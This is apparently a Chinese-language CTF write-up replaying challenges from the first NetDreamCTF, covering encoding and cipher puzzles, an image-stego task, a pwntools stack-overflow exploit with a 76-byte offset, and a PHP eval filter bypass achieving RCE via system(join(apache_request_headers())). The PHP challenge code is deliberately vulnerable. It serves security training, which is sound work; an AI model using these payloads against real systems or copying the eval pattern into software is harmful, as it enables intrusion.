第一届NetDreamCTF赛后复现(部分题目)

全部的题解:https://mp.weixin.qq.com/s/zl151-YJSiyj0TvjKmNggw

存档:https://github.com/Team-intN18-SoybeanSeclab/NetDreamCTF2025_Source

纸豪学长的讲解:netdream2025题目讲解 ezpwn&ezupload&ezbypass_哔哩哔哩_bilibili

image-20250817140400019

Misc

签到

1
题目:你知道Base和TXT吗?Y3RmLmN0Zi52aW4=

base64解码之后 txt域名解析记录

image-20250817140706604

image-20250817140803070

I AM K!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
题目:
B3F0re赵的立方体-1398441600

import base64

def encrypt(plaintext, key):
key_sum = sum(ord(char) for char in key)
if not plaintext.startswith("flag{"):
plaintext = "flag{" + plaintext
if not plaintext.endswith("}"):
plaintext += "}"

encrypted = []
for char in plaintext:
encrypted_char = (ord(char) + key_sum) % 256
encrypted.append(encrypted_char)

encrypted_bytes = bytes(encrypted)
base64_encoded = base64.b64encode(encrypted_bytes).decode('utf-8')
shift = key_sum % 26
caesar_shifted = ""
for char in base64_encoded:
if char.isalpha():
shifted_char = chr(((ord(char) - ord('A') + shift) % 26 + ord('A'))) if char.isupper() else chr(((ord(char) - ord('a')) + shift) % 26 + ord('a'))
caesar_shifted += shifted_char
else:
caesar_shifted += char
hex_encoded = caesar_shifted.encode('utf-8').hex()

return hex_encoded

key = "xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx"

plaintext = "Thi5 1s th3 Fl@g"

ciphertext = encrypt(plaintext, key)
print(ciphertext)

#686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248

1.(ASCII值 + key_sum) % 256

2.字节列表转换为字节串,再进行 Base64 编码

3.凯撒移位

4.十六进制编码

这里是自己爆破密钥了 预期确实精妙【musc】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import base64

def decrypt_with_keysum(ciphertext_hex, key_sum):
try:
# Hex decode
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
caesar_shifted = ciphertext_bytes.decode('utf-8')

# Reverse Caesar shift
shift = key_sum % 26
base64_encoded = ""
for char in caesar_shifted:
if char.isalpha():
if char.isupper():
shifted_char = chr(((ord(char) - ord('A') - shift) % 26) + ord('A'))
else:
shifted_char = chr(((ord(char) - ord('a') - shift) % 26) + ord('a'))
base64_encoded += shifted_char
else:
base64_encoded += char

# Base64 decode
encrypted_bytes = base64.b64decode(base64_encoded)

# Reverse additive cipher
plaintext = ""
for byte in encrypted_bytes:
decrypted_char = (byte - key_sum) % 256
plaintext += chr(decrypted_char)

# Check for 'flag{...}'
if plaintext.startswith("flag{") and plaintext.endswith("}"):
return plaintext
return None
except:
return None

ciphertext_hex = "686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248"

# Brute-force key_sum from 0 to 10000
for key_sum in range(10001):
plaintext = decrypt_with_keysum(ciphertext_hex, key_sum)
if plaintext:
print(f"Found key_sum = {key_sum}, plaintext = {plaintext}")
break

ezimg

这里做的时候被做局了 没看到py文件藏的 还是太单纯了

1
题目:给了张奶龙图片

![milkdragon (1)](../images/milkdragon (1).jpg)

使用winhex打开图片,在最后有两段的base64密文

image-20250817142438533

1
2
https://www.bilibili.com/video/BV1GJ411x7h7/
https://docs.qq.com/doc/DZWxobHhmRW9pd09k

第一个是纯骚扰

打开第二个,全部复制出来有

image-20250817142615568

1
2
3
并非flag
flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r}
aHR0cHM6Ly93d2duLmxhbnpvdWwuY29tL2kzcTR5MzBodWVmYQ==

再解密有一个下载链接里面有个压缩包里面是个py文件

image-20250817142948773

没看到下面还有东西 没做出来

image-20250817143016863

将上面获得的flag放进去解密就好了

1
2
3
4
5
6
7
8
from cryptography.fernet import Fernet
import base64
key = base64.urlsafe_b64encode(b'flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r}'[:32].ljust(32, b'\0')[:32])
cipher = Fernet(key)
c=
"gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s"
decrypted = cipher.decrypt(c.encode())
print("Decrypted plaintext:", decrypted.decode())

pwn

ezpwn

-

这里贴一下[纸豪]netdream2025题目讲解 ezpwn&ezupload&ezbypass_哔哩哔哩_bilibili学长~ 的链接 声音很帅

image-20250817153655298

题目进来跟进到vuln

image-20250817153729143

image-20250817154009298

明显的栈溢出 找后门地址和偏移量

image-20250817154040309

image-20250817154054280

使用cyclic工具测算

1
2
3
4
cyclic 100
gdb ./pwn
输入生成的字符串 看到停在了0x61616174
cyclic -l 0x61616174 得到偏移量76

image-20250817155853433

1
2
3
4
5
6
7
from pwn import *
p = process('./attachment')
#p = remote("127.0.0.1", 9999)
payload = b'a' * 76 + p32(0x080491B6)

p.sendline(payload)
p.interactive()

image-20250817164600305

web

web都是docker拉下来的 flag是自己填上去的 都一样的

ezpython

1
Hint:fuzz部分需要爆破http://x.x.x.x/的路径,六位数

进来是一个空白页面 查看源代码 访问下一级目录

image-20250824141424090

进来提示爆破数字组的目录 使用burp爆破一手 六位数

image-20250824141505057

image-20250824142613374

image-20250824142657740

跟burp一样爆破参数名 当访问name?=1的时候 发现页面更改了 flask+python 打一套ssti

image-20250824142949912

image-20250824144022280

ezbypass

这是一题绕过滤rce题

1
2
3
4
5
6
7
8
9
<?php
$test=$_GET['test'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
eval($test);
}
else{
echo "oh nonono hacker!";
}
highlight_file(__FILE__);

过滤了很多运行的命令字符 但是没有过滤system 可以用system来执行命令 发现被禁了getallheaders 但是有别名apache_request_headers()的字符可以使用 end可以使用join使用

1
2
3
4
getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
var_dump(end(getallheaders()));

image-20250824153315095

image-20250824153733382

system(join(apache_request_headers()));

image-20250824154125855